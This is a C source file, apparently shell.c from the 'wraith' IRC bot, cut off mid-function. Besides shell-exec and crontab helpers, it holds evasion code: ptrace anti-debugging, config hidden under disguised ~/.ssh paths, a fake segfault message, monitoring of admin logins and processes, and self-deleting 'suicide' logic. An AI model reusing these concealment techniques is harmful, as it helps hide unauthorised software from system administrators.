shell.c 27 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "settings.h"
  15. #include "userrec.h"
  16. #include "flags.h"
  17. #include "tandem.h"
  18. #include "main.h"
  19. #include "dccutil.h"
  20. #include "misc.h"
  21. #include "misc_file.h"
  22. #include "bg.h"
  23. #include "stat.h"
  24. #include "users.h"
  25. #ifdef LEAF
  26. #include "src/mod/server.mod/server.h"
  27. #endif /* LEAF */
  28. #include <sys/types.h>
  29. #include <pwd.h>
  30. #include <signal.h>
  31. #ifdef S_ANTITRACE
  32. # ifndef CYGWIN_HACKS
  33. # include <sys/ptrace.h>
  34. # endif /* !CYGWIN_HACKS */
  35. #include <sys/wait.h>
  36. #endif /* S_ANTITRACE */
  37. #include <sys/utsname.h>
  38. #include <pwd.h>
  39. #include <errno.h>
  40. #include <net/if.h>
  41. #include <sys/ioctl.h>
  42. #include <sys/socket.h>
  43. #include <ctype.h>
  44. #include <fcntl.h>
  45. #include <sys/stat.h>
  46. #include <unistd.h>
  47. #include <dirent.h>
  48. int clear_tmp()
  49. {
  50. DIR *tmp = NULL;
  51. struct dirent *dir_ent = NULL;
  52. if (!(tmp = opendir(tempdir))) return 1;
  53. while ((dir_ent = readdir(tmp))) {
  54. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  55. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  56. char *file = NULL;
  57. file = calloc(1, strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  58. strcat(file, tempdir);
  59. strcat(file, dir_ent->d_name);
  60. file[strlen(file)] = 0;
  61. sdprintf("clear_tmp: %s", file);
  62. unlink(file);
  63. free(file);
  64. }
  65. }
  66. closedir(tmp);
  67. return 0;
  68. }
  69. #ifdef LEAF
  70. void check_mypid()
  71. {
  72. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  73. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  74. nuke_server("Cloned Process...");
  75. botnet_send_bye();
  76. exit(1);
  77. }
  78. }
  79. #endif /* LEAF */
  80. #ifndef CYGWIN_HACKS
  81. #ifdef S_LASTCHECK
  82. char last_buf[128] = "";
  83. #endif /* S_LASTCHECK */
  84. void check_last() {
  85. #ifdef S_LASTCHECK
  86. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  87. return;
  88. if (conf.username) {
  89. char *out = NULL, buf[50] = "";
  90. sprintf(buf, "last %s", conf.username);
  91. if (shell_exec(buf, NULL, &out, NULL)) {
  92. if (out) {
  93. char *p = NULL;
  94. p = strchr(out, '\n');
  95. if (p)
  96. *p = 0;
  97. if (strlen(out) > 10) {
  98. if (last_buf[0]) {
  99. if (strncmp(last_buf, out, sizeof(last_buf))) {
  100. char *work = NULL;
  101. work = malloc(strlen(out) + 7 + 2 + 1);
  102. sprintf(work, "Login: %s", out);
  103. detected(DETECT_LOGIN, work);
  104. free(work);
  105. }
  106. }
  107. strncpyz(last_buf, out, sizeof(last_buf));
  108. }
  109. free(out);
  110. }
  111. }
  112. }
  113. #endif /* S_LASTCHECK */
  114. }
  115. void check_processes()
  116. {
  117. #ifdef S_PROCESSCHECK
  118. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  119. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  120. return;
  121. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  122. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  123. if (!proclist)
  124. return;
  125. if (!shell_exec("ps x", NULL, &out, NULL))
  126. return;
  127. /* Get this binary's filename */
  128. strncpyz(buf, binname, sizeof(buf));
  129. p = strrchr(buf, '/');
  130. if (p) {
  131. p++;
  132. strncpyz(bin, p, sizeof(bin));
  133. } else {
  134. bin[0] = 0;
  135. }
  136. /* Fix up the "permitted processes" list */
  137. p = calloc(1, strlen(proclist) + strlen(bin) + 6);
  138. strcpy(p, proclist);
  139. strcat(p, " ");
  140. strcat(p, bin);
  141. strcat(p, " ");
  142. proclist = p;
  143. curp = out;
  144. while (curp) {
  145. np = strchr(curp, '\n');
  146. if (np)
  147. *np++ = 0;
  148. if (atoi(curp) > 0) {
  149. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  150. strncpyz(line, curp, sizeof(line));
  151. /* it's a process line */
  152. /* Assuming format: pid tty stat time cmd */
  153. pid = newsplit(&curp);
  154. tty = newsplit(&curp);
  155. stat = newsplit(&curp);
  156. time = newsplit(&curp);
  157. strncpyz(cmd, curp, sizeof(cmd));
  158. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  159. if (!strstr(cmd, "<defunct>") && !strncmp(cmd, "/bin/sh -c", 10) && !strncmp(cmd, binname, strlen(binname))) {
  160. /* get rid of any args */
  161. if ((p = strchr(cmd, ' ')))
  162. *p = 0;
  163. /* remove [] or () */
  164. if (strlen(cmd)) {
  165. p = cmd + strlen(cmd) - 1;
  166. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  167. *p = 0;
  168. strcpy(buf, cmd + 1);
  169. strcpy(cmd, buf);
  170. }
  171. }
  172. /* remove path */
  173. if ((p = strrchr(cmd, '/'))) {
  174. p++;
  175. strcpy(buf, p);
  176. strcpy(cmd, buf);
  177. }
  178. /* skip "ps" */
  179. if (strcmp(cmd, "ps")) {
  180. /* see if proc's in permitted list */
  181. strcat(cmd, " ");
  182. if ((p = strstr(proclist, cmd))) {
  183. /* Remove from permitted list */
  184. while (*p != ' ')
  185. *p++ = 1;
  186. } else {
  187. char *work = NULL;
  188. size_t size = 0;
  189. size = strlen(line) + 22;
  190. work = calloc(1, size);
  191. egg_snprintf(work, size, "Unexpected process: %s", line);
  192. detected(DETECT_PROCESS, work);
  193. free(work);
  194. }
  195. }
  196. }
  197. }
  198. curp = np;
  199. }
  200. free(proclist);
  201. if (out)
  202. free(out);
  203. #endif /* S_PROCESSCHECK */
  204. }
  205. #endif /* !CYGWIN_HACKS */
  206. void check_promisc()
  207. {
  208. #ifdef S_PROMISC
  209. #ifdef SIOCGIFCONF
  210. struct ifreq ifreq, *ifr = NULL;
  211. struct ifconf ifcnf;
  212. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  213. int sock;
  214. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  215. return;
  216. sock = socket(AF_INET, SOCK_STREAM, 0);
  217. if (sock < 0)
  218. return;
  219. ifcnf.ifc_len = 8191;
  220. ifcnf.ifc_buf = buf;
  221. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  222. close(sock);
  223. return;
  224. }
  225. ifr = ifcnf.ifc_req;
  226. cplim = buf + ifcnf.ifc_len;
  227. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  228. ifr = (struct ifreq *) cp;
  229. ifreq = *ifr;
  230. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  231. if (ifreq.ifr_flags & IFF_PROMISC) {
  232. close(sock);
  233. detected(DETECT_PROMISC, "Detected promiscuous mode");
  234. return;
  235. }
  236. }
  237. }
  238. close(sock);
  239. #endif /* SIOCGIFCONF */
  240. #endif /* S_PROMISC */
  241. }
  242. #ifdef S_ANTITRACE
  243. int traced = 0;
  244. static void got_trace(int z)
  245. {
  246. traced = 0;
  247. }
  248. #endif /* S_ANTITRACE */
  249. void check_trace()
  250. {
  251. #ifdef S_ANTITRACE
  252. int x, parent, i;
  253. struct sigaction sv, *oldsv = NULL;
  254. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  255. return;
  256. parent = getpid();
  257. #ifdef __linux__
  258. egg_bzero(&sv, sizeof(sv));
  259. sv.sa_handler = got_trace;
  260. sigemptyset(&sv.sa_mask);
  261. oldsv = NULL;
  262. sigaction(SIGTRAP, &sv, oldsv);
  263. traced = 1;
  264. asm("INT3");
  265. sigaction(SIGTRAP, oldsv, NULL);
  266. if (traced)
  267. detected(DETECT_TRACE, "I'm being traced!");
  268. else {
  269. x = fork();
  270. if (x == -1)
  271. return;
  272. else if (x == 0) {
  273. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  274. if (i == (-1) && errno == EPERM)
  275. detected(DETECT_TRACE, "I'm being traced!");
  276. else {
  277. waitpid(parent, &i, 0);
  278. kill(parent, SIGCHLD);
  279. ptrace(PTRACE_DETACH, parent, 0, 0);
  280. kill(parent, SIGCHLD);
  281. }
  282. exit(0);
  283. } else
  284. wait(&i);
  285. }
  286. #endif /* __linux__ */
  287. #ifdef __FreeBSD__
  288. x = fork();
  289. if (x == -1)
  290. return;
  291. else if (x == 0) {
  292. i = ptrace(PT_ATTACH, parent, 0, 0);
  293. if (i == (-1) && errno == EBUSY)
  294. detected(DETECT_TRACE, "I'm being traced");
  295. else {
  296. wait(&i);
  297. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  298. kill(parent, SIGCHLD);
  299. wait(&i);
  300. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  301. wait(&i);
  302. }
  303. exit(0);
  304. } else
  305. waitpid(x, NULL, 0);
  306. #endif /* __FreeBSD__ */
  307. #ifdef __OpenBSD__
  308. x = fork();
  309. if (x == -1)
  310. return;
  311. else if (x == 0) {
  312. i = ptrace(PT_ATTACH, parent, 0, 0);
  313. if (i == (-1) && errno == EBUSY)
  314. detected(DETECT_TRACE, "I'm being traced");
  315. else {
  316. wait(&i);
  317. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  318. kill(parent, SIGCHLD);
  319. wait(&i);
  320. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  321. wait(&i);
  322. }
  323. exit(0);
  324. } else
  325. waitpid(x, NULL, 0);
  326. #endif /* __OpenBSD__ */
  327. #endif /* S_ANTITRACE */
  328. }
  329. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  330. {
  331. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  332. char tmpfile[161] = "";
  333. int x, fd;
  334. int parent = getpid();
  335. if (!cmdline)
  336. return 0;
  337. /* Set up temp files */
  338. /* always use mkstemp() when handling temp filess! -dizz */
  339. sprintf(tmpfile, "%s.in-XXXXXX", tempdir);
  340. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  341. if (fd != -1) {
  342. unlink(tmpfile);
  343. close(fd);
  344. }
  345. putlog(LOG_ERRORS, "*" , "exec: Couldn't open '%s': %s", tmpfile, strerror(errno));
  346. return 0;
  347. }
  348. unlink(tmpfile);
  349. if (input) {
  350. if (fwrite(input, strlen(input), 1, inpFile) != 1) {
  351. fclose(inpFile);
  352. putlog(LOG_ERRORS, "*", "exec: Couldn't write to '%s': %s", tmpfile, strerror(errno));
  353. return 0;
  354. }
  355. fseek(inpFile, 0, SEEK_SET);
  356. }
  357. unlink(tmpfile);
  358. sprintf(tmpfile, "%s.err-XXXXXX", tempdir);
  359. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  360. if (fd != -1) {
  361. unlink(tmpfile);
  362. close(fd);
  363. }
  364. putlog(LOG_ERRORS, "*", "exec: Couldn't open '%s': %s", tmpfile, strerror(errno));
  365. return 0;
  366. }
  367. unlink(tmpfile);
  368. sprintf(tmpfile, "%s.out-XXXXXX", tempdir);
  369. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  370. if (fd != -1) {
  371. unlink(tmpfile);
  372. close(fd);
  373. }
  374. putlog(LOG_ERRORS, "*", "exec: Couldn't open '%s': %s", tmpfile, strerror(errno));
  375. return 0;
  376. }
  377. unlink(tmpfile);
  378. x = fork();
  379. if (x == -1) {
  380. putlog(LOG_ERRORS, "*", "exec: fork() failed: %s", strerror(errno));
  381. fclose(inpFile);
  382. fclose(errFile);
  383. fclose(outFile);
  384. return 0;
  385. }
  386. if (x) {
  387. /* Parent: wait for the child to complete */
  388. int st = 0;
  389. waitpid(x, &st, 0);
  390. /* Now read the files into the buffers */
  391. fclose(inpFile);
  392. fflush(outFile);
  393. fflush(errFile);
  394. if (erroutput) {
  395. char *buf = NULL;
  396. int fs;
  397. fseek(errFile, 0, SEEK_END);
  398. fs = ftell(errFile);
  399. if (fs == 0) {
  400. (*erroutput) = NULL;
  401. } else {
  402. buf = calloc(1, fs + 1);
  403. fseek(errFile, 0, SEEK_SET);
  404. fread(buf, 1, fs, errFile);
  405. buf[fs] = 0;
  406. (*erroutput) = buf;
  407. }
  408. }
  409. fclose(errFile);
  410. if (output) {
  411. char *buf;
  412. int fs;
  413. fseek(outFile, 0, SEEK_END);
  414. fs = ftell(outFile);
  415. if (fs == 0) {
  416. (*output) = NULL;
  417. } else {
  418. buf = calloc(1, fs + 1);
  419. fseek(outFile, 0, SEEK_SET);
  420. fread(buf, 1, fs, outFile);
  421. buf[fs] = 0;
  422. (*output) = buf;
  423. }
  424. }
  425. fclose(outFile);
  426. return 1;
  427. } else {
  428. /* Child: make fd's and set them up as std* */
  429. int ind, outd, errd;
  430. char *argv[4] = { NULL, NULL, NULL, NULL };
  431. ind = fileno(inpFile);
  432. outd = fileno(outFile);
  433. errd = fileno(errFile);
  434. if (dup2(ind, STDIN_FILENO) == (-1)) {
  435. kill(parent, SIGCHLD);
  436. exit(1);
  437. }
  438. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  439. kill(parent, SIGCHLD);
  440. exit(1);
  441. }
  442. if (dup2(errd, STDERR_FILENO) == (-1)) {
  443. kill(parent, SIGCHLD);
  444. exit(1);
  445. }
  446. argv[0] = "sh";
  447. argv[1] = "-c";
  448. argv[2] = cmdline;
  449. argv[3] = NULL;
  450. execvp(argv[0], &argv[0]);
  451. kill(parent, SIGCHLD);
  452. exit(1);
  453. }
  454. }
  455. void detected(int code, char *msg)
  456. {
  457. char *p = NULL, tmp[512] = "";
  458. struct userrec *u = NULL;
  459. struct flag_record fr = { FR_GLOBAL, 0, 0};
  460. int act;
  461. u = get_user_by_handle(userlist, conf.bot->nick);
  462. #ifdef S_LASTCHECK
  463. if (code == DETECT_LOGIN)
  464. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  465. #endif /* S_LASTCHECK */
  466. #ifdef S_ANTITRACE
  467. if (code == DETECT_TRACE)
  468. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  469. #endif /* S_ANTITRACE */
  470. #ifdef S_PROMISC
  471. if (code == DETECT_PROMISC)
  472. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  473. #endif /* S_PROMISC */
  474. #ifdef S_PROCESSCHECK
  475. if (code == DETECT_PROCESS)
  476. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  477. #endif /* S_PROMISC */
  478. #ifdef S_HIJACKCHECK
  479. if (code == DETECT_SIGCONT)
  480. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  481. #endif /* S_PROMISC */
  482. if (!p)
  483. act = DET_WARN;
  484. else if (!strcmp(p, "die"))
  485. act = DET_DIE;
  486. else if (!strcmp(p, "reject"))
  487. act = DET_REJECT;
  488. else if (!strcmp(p, "suicide"))
  489. act = DET_SUICIDE;
  490. else if (!strcmp(p, "ignore"))
  491. act = DET_IGNORE;
  492. else
  493. act = DET_WARN;
  494. switch (act) {
  495. case DET_IGNORE:
  496. break;
  497. case DET_WARN:
  498. putlog(LOG_WARN, "*", msg);
  499. break;
  500. case DET_REJECT:
  501. do_fork();
  502. putlog(LOG_WARN, "*", "Setting myself +d: %s", msg);
  503. sprintf(tmp, "+d: %s", msg);
  504. set_user(&USERENTRY_COMMENT, u, tmp);
  505. get_user_flagrec(u, &fr, 0);
  506. fr.global = USER_DEOP | USER_BOT;
  507. set_user_flagrec(u, &fr, 0);
  508. sleep(1);
  509. break;
  510. case DET_DIE:
  511. putlog(LOG_WARN, "*", "Dying: %s", msg);
  512. sprintf(tmp, "Dying: %s", msg);
  513. set_user(&USERENTRY_COMMENT, u, tmp);
  514. #ifdef LEAF
  515. nuke_server("BBL");
  516. #endif /* LEAF */
  517. sleep(1);
  518. fatal(msg, 0);
  519. break;
  520. case DET_SUICIDE:
  521. putlog(LOG_WARN, "*", "Comitting suicide: %s", msg);
  522. sprintf(tmp, "Suicide: %s", msg);
  523. set_user(&USERENTRY_COMMENT, u, tmp);
  524. #ifdef LEAF
  525. nuke_server("HARAKIRI!!");
  526. #endif /* LEAF */
  527. sleep(1);
  528. unlink(binname);
  529. #ifdef HUB
  530. unlink(userfile);
  531. sprintf(tmp, "%s~", userfile);
  532. unlink(tmp);
  533. #endif /* HUB */
  534. fatal(msg, 0);
  535. break;
  536. }
  537. }
  538. char *werr_tostr(int errnum)
  539. {
  540. switch (errnum) {
  541. case ERR_BINSTAT:
  542. return "Cannot access binary";
  543. case ERR_BADPASS:
  544. return "Incorrect password";
  545. case ERR_BINMOD:
  546. return "Cannot chmod() binary";
  547. case ERR_PASSWD:
  548. return "Cannot access the global passwd file";
  549. case ERR_WRONGBINDIR:
  550. return "Wrong directory/binary name";
  551. case ERR_CONFSTAT:
  552. #ifdef LEAF
  553. return STR("Cannot access config directory (~/.ssh/)");
  554. #else
  555. return "Cannot access config directory (./)";
  556. #endif /* LEAF */
  557. case ERR_TMPSTAT:
  558. #ifdef LEAF
  559. return STR("Cannot access tmp directory (~/.ssh/.../)");
  560. #else
  561. return STR("Cannot access config directory (./tmp/)");
  562. #endif /* LEAF */
  563. case ERR_CONFDIRMOD:
  564. #ifdef LEAF
  565. return STR("Cannot chmod() config directory (~/.ssh/)");
  566. #else
  567. return "Cannot chmod() config directory (./)";
  568. #endif /* LEAF */
  569. case ERR_CONFMOD:
  570. #ifdef LEAF
  571. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  572. #else
  573. return STR("Cannot chmod() config (./conf)");
  574. #endif /* LEAF */
  575. case ERR_TMPMOD:
  576. #ifdef LEAF
  577. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  578. #else
  579. return STR("Cannot chmod() tmp directory (./tmp)");
  580. #endif /* LEAF */
  581. case ERR_NOCONF:
  582. #ifdef LEAF
  583. return STR("The local config is missing (~/.ssh/.known_hosts)");
  584. #else
  585. return STR("The local config is missing (./conf)");
  586. #endif /* LEAF */
  587. case ERR_CONFBADENC:
  588. return STR("Encryption in config is wrong/corrupt");
  589. case ERR_WRONGUID:
  590. return STR("UID in conf does not match geteuid()");
  591. case ERR_WRONGUNAME:
  592. return STR("Uname in conf does not match uname()");
  593. case ERR_BADCONF:
  594. return "Config file is incomplete";
  595. case ERR_BADBOT:
  596. return STR("No such botnick");
  597. case ERR_BOTDISABLED:
  598. return STR("Bot is disabled, remove '/' in config");
  599. case ERR_NOBOTS:
  600. return STR("There are no bots in the config! Please use ./binary -C to edit");
  601. default:
  602. return "Unforseen error";
  603. }
  604. }
  605. void werr(int errnum)
  606. {
  607. /* [1]+ Done ls --color=auto -A -CF
  608. [1]+ Killed bash
  609. */
  610. /*
  611. int x = 0;
  612. unsigned long job = randint(2) + 1; */
  613. /* printf("[%lu] %lu%lu%lu%lu%lu\n", job, randint(2) + 1, randint(8) + 1, randint(8) + 1, errnum); */
  614. /* printf("\n[%lu]+ Killed rm -rf /\r\n", job); */
  615. /*
  616. if (checkedpass) {
  617. printf("[%lu] %d\n", job, getpid());
  618. }
  619. */
  620. /* printf("\n[%lu]+ Stopped %s\r\n", job, basename(binname)); */
  621. sdprintf("Error %d: %s", errnum, werr_tostr(errnum));
  622. printf("*** Error code %d\n\n", errnum);
  623. printf(STR("Segmentation fault\n"));
  624. fatal("", 0);
  625. }
  626. int email(char *subject, char *msg, int who)
  627. {
  628. struct utsname un;
  629. char open[2048] = "", addrs[1024] = "";
  630. int mail = 0, sendmail = 0;
  631. FILE *f = NULL;
  632. uname(&un);
  633. if (is_file("/usr/sbin/sendmail"))
  634. sendmail++;
  635. else if (is_file("/usr/bin/mail"))
  636. mail++;
  637. else {
  638. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  639. return 1;
  640. }
  641. if (who & EMAIL_OWNERS) {
  642. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  643. }
  644. if (who & EMAIL_TEAM) {
  645. if (addrs[0])
  646. sprintf(addrs, "%s wraith@shatow.net", addrs);
  647. else
  648. sprintf(addrs, "wraith@shatow.net");
  649. }
  650. if (sendmail)
  651. sprintf(open, "/usr/sbin/sendmail -t");
  652. else if (mail)
  653. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  654. if ((f = popen(open, "w"))) {
  655. if (sendmail) {
  656. fprintf(f, "To: %s\n", addrs);
  657. fprintf(f, "From: %s@%s\n",
  658. conffile.bots ?
  659. (conffile.bots->nick ? conffile.bots->nick :
  660. (conffile.username ? conffile.username : "WRAITH"))
  661. : "WRAITH", un.nodename);
  662. fprintf(f, "Subject: %s\n", subject);
  663. fprintf(f, "Content-Type: text/plain\n");
  664. }
  665. fprintf(f, "%s\n", msg);
  666. if (fflush(f))
  667. return 1;
  668. if (pclose(f))
  669. return 1;
  670. } else
  671. return 1;
  672. return 0;
  673. }
  674. void baduname(char *confhas, char *my_uname) {
  675. char *tmpfile = NULL;
  676. int send = 0, make = 0;
  677. tmpfile = malloc(strlen(tempdir) + 3 + 1);
  678. sprintf(tmpfile, "%s.un", tempdir);
  679. sdprintf("CHECKING %s", tmpfile);
  680. if (is_file(tmpfile)) {
  681. struct stat ss;
  682. time_t diff;
  683. stat(tmpfile, &ss);
  684. diff = now - ss.st_mtime;
  685. if (diff >= 86400) {
  686. send++; /* only send once a day */
  687. unlink(tmpfile); /* remove file */
  688. make++; /* make a new one at thie time. */
  689. }
  690. } else {
  691. make++;
  692. }
  693. if (make) {
  694. FILE *fp = NULL;
  695. if ((fp = fopen(tmpfile, "w"))) {
  696. fprintf(fp, "\n");
  697. fflush(fp);
  698. fclose(fp);
  699. send++; /* only send if we could write the file. */
  700. }
  701. }
  702. if (send) {
  703. struct utsname un;
  704. char msg[501] = "", subject[31] = "";
  705. uname(&un);
  706. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  707. egg_snprintf(msg, sizeof msg, STR("This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n"),
  708. conffile.username ? conffile.username : (conf.username ? conf.username : "unknown"),
  709. confhas, my_uname, un.nodename);
  710. email(subject, msg, EMAIL_OWNERS);
  711. }
  712. free(tmpfile);
  713. }
  714. char *homedir()
  715. {
  716. static char homedir[DIRMAX] = "";
  717. if (!homedir || (homedir && !homedir[0])) {
  718. char tmp[DIRMAX] = "";
  719. if (conf.homedir)
  720. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  721. else {
  722. #ifdef CYGWIN_HACKS
  723. egg_snprintf(tmp, sizeof tmp, "%s", dirname(binname));
  724. #else /* !CYGWIN_HACKS */
  725. struct passwd *pw = NULL;
  726. ContextNote("getpwuid()");
  727. pw = getpwuid(myuid);
  728. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  729. ContextNote("getpwuid(): Success");
  730. #endif /* CYGWIN_HACKS */
  731. }
  732. ContextNote("realpath()");
  733. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  734. ContextNote("realpath(): Success");
  735. }
  736. return homedir;
  737. }
  738. char *my_username()
  739. {
  740. static char username[DIRMAX] = "";
  741. if (!username || (username && !username[0])) {
  742. if (conf.username)
  743. egg_snprintf(username, sizeof username, "%s", conf.username);
  744. else {
  745. #ifdef CYGWIN_HACKS
  746. egg_snprintf(username, sizeof username, "cygwin");
  747. #else /* !CYGWIN_HACKS */
  748. struct passwd *pw = NULL;
  749. ContextNote("getpwuid()");
  750. pw = getpwuid(myuid);
  751. ContextNote("getpwuid(): Success");
  752. egg_snprintf(username, sizeof username, "%s", pw->pw_name);
  753. #endif /* CYGWIN_HACKS */
  754. }
  755. }
  756. return username;
  757. }
  758. char *confdir()
  759. {
  760. static char confdir[DIRMAX] = "";
  761. if (!confdir || (confdir && !confdir[0])) {
  762. #ifdef LEAF
  763. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  764. #endif /* LEAF */
  765. #ifdef HUB
  766. egg_snprintf(confdir, sizeof confdir, "%s", dirname(binname));
  767. #endif /* HUB */
  768. #ifdef CYGWIN_HACKS
  769. egg_snprintf(confdir, sizeof confdir, "%s", homedir());
  770. #endif /* CYGWIN_HACKS */
  771. }
  772. return confdir;
  773. }
  774. char *my_uname()
  775. {
  776. static char os_uname[250] = "";
  777. if (!os_uname || (os_uname && !os_uname[0])) {
  778. char *unix_n = NULL, *vers_n = NULL;
  779. struct utsname un;
  780. if (uname(&un) < 0) {
  781. unix_n = "*unkown*";
  782. vers_n = "";
  783. } else {
  784. unix_n = un.nodename;
  785. #ifdef __FreeBSD__
  786. vers_n = un.release;
  787. #else /* __linux__ */
  788. vers_n = un.version;
  789. #endif /* __FreeBSD__ */
  790. }
  791. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  792. }
  793. return os_uname;
  794. }
  795. void check_crontab()
  796. {
  797. int i = 0;
  798. #ifdef LEAF
  799. if (!conf.bot->localhub)
  800. fatal("something is wrong.", 0);
  801. #endif /* LEAF */
  802. if (!(i = crontab_exists())) {
  803. crontab_create(5);
  804. if (!(i = crontab_exists()))
  805. printf("* Error writing crontab entry.\n");
  806. }
  807. }
  808. void crontab_del() {
  809. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  810. tmpfile = malloc(strlen(binname) + 100);
  811. strcpy(tmpfile, binname);
  812. if (!(p = strrchr(tmpfile, '/')))
  813. return;
  814. p++;
  815. strcpy(p, ".ctb");
